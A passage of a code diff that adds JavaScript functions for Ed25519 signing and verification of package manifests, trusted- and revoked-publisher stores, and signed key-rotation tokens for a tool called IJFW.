* Sign a manifest. Returns a NEW manifest with `signature` + `publisher_key_id`
|
|
549
|
+
* fields populated. Re-computes integrity AFTER signing so the integrity hash
|
|
550
|
+
* covers the signature payload too (signature is excluded from signing bytes
|
|
551
|
+
* but included in integrity bytes, so any post-sign edit is detected).
|
|
552
|
+
*
|
|
553
|
+
* @param {object} manifest
|
|
554
|
+
* @param {string} privateKeyPem
|
|
555
|
+
* @returns {object} manifest with signature, publisher_key_id, integrity
|
|
556
|
+
*/
|
|
557
|
+
export function signManifest(manifest, privateKeyPem) {
|
|
558
|
+
if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
|
|
559
|
+
throw new TypeError('signManifest: manifest must be an object');
|
|
560
|
+
}
|
|
561
|
+
const priv = createPrivateKey(privateKeyPem);
|
|
562
|
+
// Derive the matching public key + keyId so the publisher_key_id is
|
|
563
|
+
// self-consistent with the signing material.
|
|
564
|
+
const pub = createPublicKey(priv);
|
|
565
|
+
const publicKeyPem = pub.export({ type: 'spki', format: 'pem' }).toString();
|
|
566
|
+
const keyId = publicKeyFingerprint(publicKeyPem);
|
|
567
|
+
|
|
568
|
+
// Add publisher_key_id BEFORE computing signing bytes so verify-time canonical
|
|
569
|
+
// bytes (which include publisher_key_id) match sign-time canonical bytes.
|
|
570
|
+
const toSign = { ...manifest, publisher_key_id: keyId };
|
|
571
|
+
const bytes = canonicalSigningBytes(toSign);
|
|
572
|
+
const sigBuf = cryptoSign(null, bytes, priv);
|
|
573
|
+
const signature = `ed25519:${sigBuf.toString('base64')}`;
|
|
574
|
+
|
|
575
|
+
const signed = {
|
|
576
|
+
...toSign,
|
|
577
|
+
signature,
|
|
578
|
+
};
|
|
579
|
+
// Recompute integrity to cover the signature + key id fields.
|
|
580
|
+
return computeIntegrity(signed);
|
|
581
|
+
}
|
|
582
|
+
|
|
583
|
+
/**
|
|
584
|
+
* Verify a manifest's signature against a map of trusted publishers.
|
|
585
|
+
*
|
|
586
|
+
* @param {object} manifest
|
|
587
|
+
* @param {{ publishers: Record<string, { publicKey: string, name?: string }> } | null} trustedKeys
|
|
588
|
+
* @returns {{ valid: boolean, publisherKeyId: string | null, reason: string }}
|
|
589
|
+
*/
|
|
590
|
+
export function verifyManifestSignature(manifest, trustedKeys) {
|
|
591
|
+
if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
|
|
592
|
+
return { valid: false, publisherKeyId: null, reason: 'manifest must be an object' };
|
|
593
|
+
}
|
|
594
|
+
const sig = typeof manifest.signature === 'string' ? manifest.signature : null;
|
|
595
|
+
const kid = typeof manifest.publisher_key_id === 'string' ? manifest.publisher_key_id : null;
|
|
596
|
+
if (!sig) return { valid: false, publisherKeyId: null, reason: 'manifest has no signature' };
|
|
597
|
+
if (!SIGNATURE_PATTERN.test(sig)) return { valid: false, publisherKeyId: null, reason: 'signature shape invalid' };
|
|
598
|
+
if (!kid) return { valid: false, publisherKeyId: null, reason: 'manifest missing publisher_key_id' };
|
|
599
|
+
if (!PUBLISHER_KEY_ID_PATTERN.test(kid)) return { valid: false, publisherKeyId: kid, reason: 'publisher_key_id shape invalid' };
|
|
600
|
+
|
|
601
|
+
const publishers = (trustedKeys && trustedKeys.publishers) || {};
|
|
602
|
+
const entry = publishers[kid];
|
|
603
|
+
if (!entry || typeof entry.publicKey !== 'string') {
|
|
604
|
+
return { valid: false, publisherKeyId: kid, reason: `publisher ${kid} not trusted` };
|
|
605
|
+
}
|
|
606
|
+
|
|
607
|
+
let pubKey;
|
|
608
|
+
try {
|
|
609
|
+
pubKey = createPublicKey(entry.publicKey);
|
|
610
|
+
} catch (err) {
|
|
611
|
+
return { valid: false, publisherKeyId: kid, reason: `trusted publisher key unparseable: ${err.message}` };
|
|
612
|
+
}
|
|
613
|
+
// Belt-and-braces: confirm the trusted key actually fingerprints to the
|
|
614
|
+
// declared keyId. Defends against a tampered trusted-publishers.json where
|
|
615
|
+
// someone swapped publicKey but kept the keyId.
|
|
616
|
+
try {
|
|
617
|
+
const fp = publicKeyFingerprint(entry.publicKey);
|
|
618
|
+
if (fp !== kid) {
|
|
619
|
+
return { valid: false, publisherKeyId: kid, reason: 'trusted publicKey does not match keyId' };
|
|
620
|
+
}
|
|
621
|
+
} catch {
|
|
622
|
+
return { valid: false, publisherKeyId: kid, reason: 'trusted publicKey fingerprint failed' };
|
|
623
|
+
}
|
|
624
|
+
|
|
625
|
+
const sigB64 = sig.slice('ed25519:'.length);
|
|
626
|
+
let sigBuf;
|
|
627
|
+
try {
|
|
628
|
+
sigBuf = Buffer.from(sigB64, 'base64');
|
|
629
|
+
} catch {
|
|
630
|
+
return { valid: false, publisherKeyId: kid, reason: 'signature base64 decode failed' };
|
|
631
|
+
}
|
|
632
|
+
|
|
633
|
+
const bytes = canonicalSigningBytes(manifest);
|
|
634
|
+
let ok;
|
|
635
|
+
try {
|
|
636
|
+
ok = cryptoVerify(null, bytes, pubKey, sigBuf);
|
|
637
|
+
} catch (err) {
|
|
638
|
+
return { valid: false, publisherKeyId: kid, reason: `verify failed: ${err.message}` };
|
|
639
|
+
}
|
|
640
|
+
if (!ok) return { valid: false, publisherKeyId: kid, reason: 'signature does not verify' };
|
|
641
|
+
return { valid: true, publisherKeyId: kid, reason: 'ok' };
|
|
642
|
+
}
|
|
643
|
+
|
|
644
|
+
// === B6: Revoked publishers store ========================================
|
|
645
|
+
|
|
646
|
+
/**
|
|
647
|
+
* Read the revoked publishers list from ~/.ijfw/state/revoked-publishers.json.
|
|
648
|
+
* Returns an empty list when absent or malformed.
|
|
649
|
+
*
|
|
650
|
+
* @returns {Promise<Array<{keyId: string, revoked_at: string, reason: string, superseded_by: string|null}>>}
|
|
651
|
+
*/
|
|
652
|
+
export async function readRevokedPublishers() {
|
|
653
|
+
const path = join(homedir(), '.ijfw', 'state', 'revoked-publishers.json');
|
|
654
|
+
let raw;
|
|
655
|
+
try {
|
|
656
|
+
raw = await readFile(path, 'utf8');
|
|
657
|
+
} catch {
|
|
658
|
+
return [];
|
|
659
|
+
}
|
|
660
|
+
let parsed;
|
|
661
|
+
try {
|
|
662
|
+
parsed = JSON.parse(raw);
|
|
663
|
+
} catch {
|
|
664
|
+
return [];
|
|
665
|
+
}
|
|
666
|
+
if (!parsed || !Array.isArray(parsed.revoked)) return [];
|
|
667
|
+
return parsed.revoked.filter(r => typeof r.keyId === 'string');
|
|
668
|
+
}
|
|
669
|
+
|
|
670
|
+
// Module-level revoked set cache — loaded once per process, refreshed by applyRegistry.
|
|
671
|
+
// Export for test isolation only (allows tests to reset after changing HOME).
|
|
672
|
+
export function _resetRevokedCacheForTest() { _revokedSet = null; }
|
|
673
|
+
let _revokedSet = null;
|
|
674
|
+
|
|
675
|
+
/**
|
|
676
|
+
* O(1) check: is a keyId on the revoked list?
|
|
677
|
+
* Loads the set on first call; cached for the process lifetime.
|
|
678
|
+
*
|
|
679
|
+
* @param {string} keyId
|
|
680
|
+
* @returns {Promise<boolean>}
|
|
681
|
+
*/
|
|
682
|
+
export async function isRevoked(keyId) {
|
|
683
|
+
if (_revokedSet === null) {
|
|
684
|
+
const list = await readRevokedPublishers();
|
|
685
|
+
_revokedSet = new Set(list.map(r => r.keyId));
|
|
686
|
+
}
|
|
687
|
+
return _revokedSet.has(keyId);
|
|
688
|
+
}
|
|
689
|
+
|
|
690
|
+
/**
|
|
691
|
+
* Read the trusted publishers JSON. Returns `{publishers: {}}` when absent or
|
|
692
|
+
* malformed (fail-closed for verification: no trusted keys means nothing is
|
|
693
|
+
* trusted).
|
|
694
|
+
*
|
|
695
|
+
* @returns {Promise<{ publishers: Record<string, { name?: string, publicKey: string, added_at?: string }> }>}
|
|
696
|
+
*/
|
|
697
|
+
export async function readTrustedPublishers() {
|
|
698
|
+
const path = trustedPublishersPath();
|
|
699
|
+
let raw;
|
|
700
|
+
try {
|
|
701
|
+
raw = await readFile(path, 'utf8');
|
|
702
|
+
} catch {
|
|
703
|
+
return { publishers: {} };
|
|
704
|
+
}
|
|
705
|
+
let parsed;
|
|
706
|
+
try {
|
|
707
|
+
parsed = JSON.parse(raw);
|
|
708
|
+
} catch {
|
|
709
|
+
return { publishers: {} };
|
|
710
|
+
}
|
|
711
|
+
if (!parsed || typeof parsed !== 'object' || parsed.publishers === null || typeof parsed.publishers !== 'object') {
|
|
712
|
+
return { publishers: {} };
|
|
713
|
+
}
|
|
714
|
+
// Filter entries to well-formed records.
|
|
715
|
+
const out = { publishers: {} };
|
|
716
|
+
for (const [kid, val] of Object.entries(parsed.publishers)) {
|
|
717
|
+
if (!PUBLISHER_KEY_ID_PATTERN.test(kid)) continue;
|
|
718
|
+
if (!val || typeof val !== 'object' || typeof val.publicKey !== 'string') continue;
|
|
719
|
+
out.publishers[kid] = {
|
|
720
|
+
name: typeof val.name === 'string' ? val.name : undefined,
|
|
721
|
+
publicKey: val.publicKey,
|
|
722
|
+
added_at: typeof val.added_at === 'string' ? val.added_at : undefined,
|
|
723
|
+
};
|
|
724
|
+
}
|
|
725
|
+
return out;
|
|
726
|
+
}
|
|
727
|
+
|
|
728
|
+
async function writeTrustedPublishers(store) {
|
|
729
|
+
const path = trustedPublishersPath();
|
|
730
|
+
await mkdir(join(homedir(), '.ijfw'), { recursive: true });
|
|
731
|
+
await writeFile(path, JSON.stringify(store, null, 2) + '\n', 'utf8');
|
|
732
|
+
}
|
|
733
|
+
|
|
734
|
+
/**
|
|
735
|
+
* Add (or replace) a trusted publisher entry. Validates the publicKey
|
|
736
|
+
* fingerprint against the supplied keyId. Returns the updated store.
|
|
737
|
+
*
|
|
738
|
+
* @param {string} keyId
|
|
739
|
+
* @param {string} publicKey PEM-encoded
|
|
740
|
+
* @param {string} [name]
|
|
741
|
+
* @returns {Promise<{ ok: boolean, error?: string, store?: object }>}
|
|
742
|
+
*/
|
|
743
|
+
export async function addTrustedPublisher(keyId, publicKey, name) {
|
|
744
|
+
if (typeof keyId !== 'string' || !PUBLISHER_KEY_ID_PATTERN.test(keyId)) {
|
|
745
|
+
return { ok: false, error: 'invalid keyId' };
|
|
746
|
+
}
|
|
747
|
+
if (typeof publicKey !== 'string' || publicKey.indexOf('BEGIN PUBLIC KEY') === -1) {
|
|
748
|
+
return { ok: false, error: 'publicKey must be PEM-encoded' };
|
|
749
|
+
}
|
|
750
|
+
// B6: refuse to add a revoked publisher
|
|
751
|
+
if (await isRevoked(keyId)) {
|
|
752
|
+
return { ok: false, error: 'publisher revoked by IJFW registry' };
|
|
753
|
+
}
|
|
754
|
+
let fp;
|
|
755
|
+
try {
|
|
756
|
+
fp = publicKeyFingerprint(publicKey);
|
|
757
|
+
} catch (err) {
|
|
758
|
+
return { ok: false, error: `publicKey unparseable: ${err.message}` };
|
|
759
|
+
}
|
|
760
|
+
if (fp !== keyId) {
|
|
761
|
+
return { ok: false, error: 'publicKey fingerprint does not match keyId' };
|
|
762
|
+
}
|
|
763
|
+
const store = await readTrustedPublishers();
|
|
764
|
+
store.publishers[keyId] = {
|
|
765
|
+
name: typeof name === 'string' && name.length > 0 ? name : undefined,
|
|
766
|
+
publicKey,
|
|
767
|
+
added_at: new Date().toISOString(),
|
|
768
|
+
};
|
|
769
|
+
await writeTrustedPublishers(store);
|
|
770
|
+
return { ok: true, store };
|
|
771
|
+
}
|
|
772
|
+
|
|
773
|
+
// === B8: Key rotation + revocation ==========================================
|
|
774
|
+
//
|
|
775
|
+
// Rotation token is signed by the OLD private key — proof of control.
|
|
776
|
+
// An attacker without the old private key cannot produce a valid token.
|
|
777
|
+
// A publisher who lost their old private key must contact the registry
|
|
778
|
+
// maintainer for out-of-band manual key replacement (see docs/REGISTRY-MAINTAINER.md).
|
|
779
|
+
//
|
|
780
|
+
// Token shape: { rotated_at, old_key_id, new_key_id, new_public_key, signature }
|
|
781
|
+
// Canonical signing bytes: all fields except `signature`, sorted by key (sortKeysDeep).
|
|
782
|
+
|
|
783
|
+
/**
|
|
784
|
+
* Produce a rotation token asserting that newPublicKey supersedes the key
|
|
785
|
+
* identified by oldPrivateKey. Signed by the old private key.
|
|
786
|
+
*
|
|
787
|
+
* @param {string} oldPrivateKeyPem
|
|
788
|
+
* @param {string} newPublicKeyPem
|
|
789
|
+
* @param {object} [opts]
|
|
790
|
+
* @param {string} [opts.rotated_at] ISO timestamp (defaults to now)
|
|
791
|
+
* @returns {{ rotated_at: string, old_key_id: string, new_key_id: string, new_public_key: string, signature: string }}
|
|
792
|
+
*/
|
|
793
|
+
export function signRotationToken(oldPrivateKeyPem, newPublicKeyPem, opts = {}) {
|
|
794
|
+
const priv = createPrivateKey(oldPrivateKeyPem);
|
|
795
|
+
// Derive old_key_id from the old private key's matching public key.
|
|
796
|
+
const oldPub = createPublicKey(priv);
|
|
797
|
+
const old_key_id = publicKeyFingerprint(oldPub.export({ type: 'spki', format: 'pem' }).toString());
|
|
798
|
+
const new_key_id = publicKeyFingerprint(newPublicKeyPem);
|
|
799
|
+
|
|
800
|
+
const token = {
|
|
801
|
+
rotated_at: opts.rotated_at || new Date().toISOString(),
|
|
802
|
+
old_key_id,
|
|
803
|
+
new_key_id,
|
|
804
|
+
new_public_key: newPublicKeyPem,
|
|
805
|
+
};
|
|
806
|
+
|
|
807
|
+
// Canonical signing bytes: sortKeysDeep of token (signature excluded — not present yet).
|
|
808
|
+
const bytes = Buffer.from(JSON.stringify(sortKeysDeep(token)), 'utf8');
|
|
809
|
+
const sigBuf = cryptoSign(null, bytes, priv);
|
|
810
|
+
return { ...token, signature: `ed25519:${sigBuf.toString('base64')}` };
|
|
811
|
+
}
|
|
812
|
+
|
|
813
|
+
/**
|
|
814
|
+
* Verify a rotation token against the old public key.
|
|
815
|
+
* Checks:
|
|
816
|
+
* 1. Signature is valid Ed25519 over canonical bytes (signature field excluded).
|
|
817
|
+
* 2. fingerprint(oldPublicKey) === token.old_key_id.
|
|
818
|
+
* 3. token.rotated_at is within opts.max_age_ms (default 90 days).
|
|
819
|
+
*
|
|
820
|
+
* @param {object} token
|
|
821
|
+
* @param {string} oldPublicKeyPem
|
|
822
|
+
* @param {object} [opts]
|
|
823
|
+
* @param {number} [opts.max_age_ms] Maximum token age in ms (default 90 days)
|
|
824
|
+
* @returns {{ valid: boolean, reason: string }}
|
|
825
|
+
*/
|
|
826
|
+
export function verifyRotationToken(token, oldPublicKeyPem, opts = {}) {
|
|
827
|
+
if (!token || typeof token !== 'object') {
|
|
828
|
+
return { valid: false, reason: 'token must be an object' };
|
|
829
|
+
}
|
|
830
|
+
const { rotated_at, old_key_id, new_key_id, new_public_key, signature } = token;
|
|
831
|
+
if (!rotated_at || !old_key_id || !new_key_id || !new_public_key || !signature) {
|
|
832
|
+
return { valid: false, reason: 'token missing required fields' };
|
|
833
|
+
}
|
|
834
|
+
if (typeof signature !== 'string' || !signature.startsWith('ed25519:')) {
|
|
835
|
+
return { valid: false, reason: 'signature must be "ed25519:<base64>"' };
|
|
836
|
+
}
|
|
837
|
+
|
|
838
|
+
// Expiry check: reject tokens older than max_age_ms (default 90 days).
|
|
839
|
+
const MAX_AGE_MS = opts.max_age_ms ?? (90 * 24 * 60 * 60 * 1000);
|
|
840
|
+
const rotatedAtMs = new Date(rotated_at).getTime();
|
|
841
|
+
if (isNaN(rotatedAtMs)) {
|
|
842
|
+
return { valid: false, reason: 'rotated_at is not a valid date' };
|
|
843
|
+
}
|
|
844
|
+
if (Date.now() - rotatedAtMs > MAX_AGE_MS) {
|
|
845
|
+
return { valid: false, reason: 'rotation token expired' };
|
|
846
|
+
}
|
|
847
|
+
|
|
848
|
+
// Check old_key_id matches the supplied public key fingerprint.
|
|
849
|
+
let fp;
|
|
850
|
+
try {
|
|
851
|
+
fp = publicKeyFingerprint(oldPublicKeyPem);
|
|
852
|
+
} catch (err) {
|
|
853
|
+
return { valid: false, reason: `old public key parse failed: ${err.message}` };
|
|
854
|
+
}
|
|
855
|
+
if (fp !== old_key_id) {
|
|
856
|
+
return { valid: false, reason: `old_key_id mismatch: token says ${old_key_id} but supplied key fingerprints to ${fp}` };
|
|
857
|
+
}
|
|
858
|
+
|
|
859
|
+
// Reconstruct canonical signing bytes (exclude signature field).
|
|
860
|
+
const payload = { rotated_at, old_key_id, new_key_id, new_public_key };
|
|
861
|
+
const bytes = Buffer.from(JSON.stringify(sortKeysDeep(payload)), 'utf8');
|
|
862
|
+
|
|
863
|
+
let pubKey;
|
|
864
|
+
try {
|
|
865
|
+
pubKey = createPublicKey(oldPublicKeyPem);
|
|
866
|
+
} catch (err) {
|
|
867
|
+
return { valid: false, reason: `old public key unparseable: ${err.message}` };
|
|
868
|
+
}
|
|
869
|
+
|
|
870
|
+
let sigBuf;
|
|
871
|
+
try {
|
|
872
|
+
sigBuf = Buffer.from(signature.slice('ed25519:'.length), 'base64');
|
|
873
|
+
} catch {
|
|
874
|
+
return { valid: false, reason: 'signature base64 decode failed' };
|
|
875
|
+
}
|
|
876
|
+
|
|
877
|
+
let ok;
|
|
878
|
+
try {
|
|
879
|
+
ok = cryptoVerify(null, bytes, pubKey, sigBuf);
|
|
880
|
+
} catch (err) {
|
|
881
|
+
return { valid: false, reason: `verify threw: ${err.message}` };
|
|
882
|
+
}
|
|
883
|
+
|
|
884
|
+
if (!ok) return { valid: false, reason: 'signature does not verify' };
|
|
885
|
+
return { valid: true, reason: 'ok' };
|
|
886
|
+
}
|
|
887
|
+
|
|
888
|
+
/**
|
|
889
|
+
* Remove a trusted publisher entry by keyId. Idempotent.
|
|
890
|
+
*
|
|
891
|
+
* @param {string} keyId
|
|
892
|
+
* @returns {Promise<{ ok: boolean, removed: boolean, store?: object, error?: string }>}
|
|
893
|
+
*/
|
|
894
|
+
export async function removeTrustedPublisher(keyId) {
|
|
895
|
+
if (typeof keyId !== 'string' || !PUBLISHER_KEY_ID_PATTERN.test(keyId)) {
|
|
896
|
+
return { ok: false, removed: false, error: 'invalid keyId' };
|
|
897
|
+
}
|
|
898
|
+
const store = await readTrustedPublishers();
|
|
899
|
+
const had = Object.prototype.hasOwnProperty.call(store.publishers, keyId);
|
|
900
|
+
if (had) {
|
|
901
|
+
delete store.publishers[keyId];
|
|
902
|
+
await writeTrustedPublishers(store);
|
|
903
|
+
}
|
|
904
|
+
return { ok: true, removed: had, store };
|
|
905
|
+
}
|